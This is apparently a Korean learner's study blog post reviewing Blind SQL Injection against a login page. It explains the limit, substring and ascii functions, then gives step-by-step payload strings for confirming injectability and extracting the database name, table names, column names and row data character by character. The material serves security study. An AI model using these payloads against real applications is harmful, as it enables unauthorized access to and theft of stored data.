오늘은 Blind SQL Injection 내용을 복습하겠다.
실습은 이후에 UNION/ERROR/BLIND SQL Injection을 한꺼번에 해서 글로 작성해야 할 거 같다.
우선, Blind SQL Injection을 이용해서 실무에서 가장 많이 사용된다고 한다.
SQLi 가 가능한 모든 곳에서 사용이 가능하지만, 대입하는 값들을 모두 대입해보기 때문에 시간이 오래 걸린다는 단점이 있다.
하지만, 자동화 스크립트를 짜서 사용하게 되면 빠르게 확인할 수 있다. (파이썬을 배우자..)
Blind SQLi 에서는 알아둬야 문법이 있다.
- limit [시작위치], [N개] - ex) limit 0, 1 = 첫 번째 위치에서 1개의 문자 출력
- substring([문자열], [시작위치], [N개]) - ex) substring('test', 1, 2) = 첫 번째 위치에서 2개의 문자 잘라내기 = te
- ascii() - ex) ascii('a') = 97 (아스키코드 표 참고)
- Blind SQL Injection
Blind SQL Injection이 작동하는 원리는 SQL 질의문의 결과가 참과 거짓으로 구분되어 질 때 사용할 수 있다.
예시로는 로그인 페이지라는 가정하에 프로세스를 적겠다.
1. SQL 인젝션 가능 여부 확인
SELECT ~~~~ where id='___' ---> 로그인 페이지이므로 이러한 쿼리문으로 작동하겠다고 유추할 수 있다.
- 계정명' and '1'='1 / 로그인 성공
- 계정명' and '1'='2 / 로그인 실패
로그인 성공 / 실패의 유무를 알 수 있으므로 SQL 인젝션이 가능하다는 것을 확인할 수 있다.
2. Payload 구성 (조건문)
기본 포맷으로 사용할 조건문을 미리 만들어두자.
계정명' and (조건문) and '1'='1
해당 구문을 사용하게 되면 두 번째 and 뒤의 '1'='1 은 무조건 참이 되므로 가운데 (조건문) 의 참/거짓 유무에 따라 원하는 Data를 알아낼 수 있다.
여기에서 조건문에서 사용할 함수는 ascii, substring 함수를 이용한다.
(조건문) = ascii(substring((SQL), 1, 1)) = 97
위의 조건문에서 = 을 부등호로 바꿔서 사용할 수 있다. ex) >, <
부등호를 이용하면 '2진 탐색'으로 더 빠르게 결과를 도출할 수 있다.
3. 데이터베이스명 확인
데이터베이스명을 알 수 있는 SQL 질의문은 select database() 이고, 해당 질의문을 조건문의 (SQL) 에 넣도록 하자.
계정명' and ascii(substring((select database()), 1, 1))=97 and '1'='1
해당 공격 구문은 데이터베이스의 첫 번째 글자의 ascii 코드 값이 97로 참인 결과가 나온다면 데이터베이스의 첫번째 글자가 'a' 라는 것을 알 수 있게 된다. (ascii 코드표 참고)
그 후, 두 번째 글자 이후부터는 substring 함수에서 시작 위치를 증가시키면서 확인 할 수 있다.
계정명' and ascii(substring((select database()), 2, 1))=97 and '1'='1
4. 테이블명 확인
테이블명을 알 수 있는 SQL 질의문은 select table_name from information_schema.tables where table_schema='DB명' 이다. 해당 질의문을 조건문의 (SQL)에 넣게 되면
계정명' and ascii(substring((select table_name from information_schema.tables where table_schema='DB명'), 1, 1))=97 and '1'='1
이 되는데 테이블, 칼럼, 칼럼 내의 Data 는 여러개의 행으로 되어 있으므로 limit 함수를 이용해서 한 행의 한 글자씩 알아내야 한다. 즉, 하기 SQL 질의문으로 공격을 해야한다.
계정명' and ascii(substring((select table_name from information_schema.tables where table_schema='DB명' limit 0, 1), 1, 1))=97 and '1'='1
해당 공격 구문은 첫 번째 테이블의 첫 번째 글자의 ascii 코드 값이 97 이다. 라는 뜻이 된다. 이후부터는 substring 함수의 시작 위치를 증가시켜서 첫 번째 테이블 명을 알아내고, 두 번째 테이블 이후부터는 limit 함수의 시작 위치를 1씩 증가시켜 원하는 n번 째 테이블의 테이블명을 알아낼 수 있다.
5. 칼럼명 확인
칼럼명을 알 수 있는 질의문부터는 테이블명을 알 수 있는 프로세스를 그대로 따라하면 되고, SQL 질의문만 테이블명을 알아내는 질의문에서 칼럼명을 알아내는 질의문으로 바꿔주면 된다.
계정명' and ascii(substring((select column_name from information_schema.columns where table_name='테이블명' limit 0, 1), 1, 1))=97 and '1'='1
6. 데이터 추출
데이터 추출도 동일한 프로세스를 따라가므로 공격 구문만 적겠다.
계정명' and ascii(substring((select '칼럼명' from '테이블명' limit 0, 1), 1, 1))=97 and '1'='1
'WebHacking' 카테고리의 다른 글
WebHacking - (8)XSS 기본 개념 정리 (0) | 2022.11.11 |
---|---|
WebHacking - (7)우편번호 DB 만들기 (MySQL) (0) | 2022.11.07 |
WebHacking - (5)Union/Error Based SQL Injection 공격 프로세스 정리 (0) | 2022.10.28 |
WebHacking - (4)로그인 유형별 SQL Injection을 이용한 로그인 우회 (0) | 2022.10.27 |
WebHacking - (3)세션 생성 및 제거 (0) | 2022.10.20 |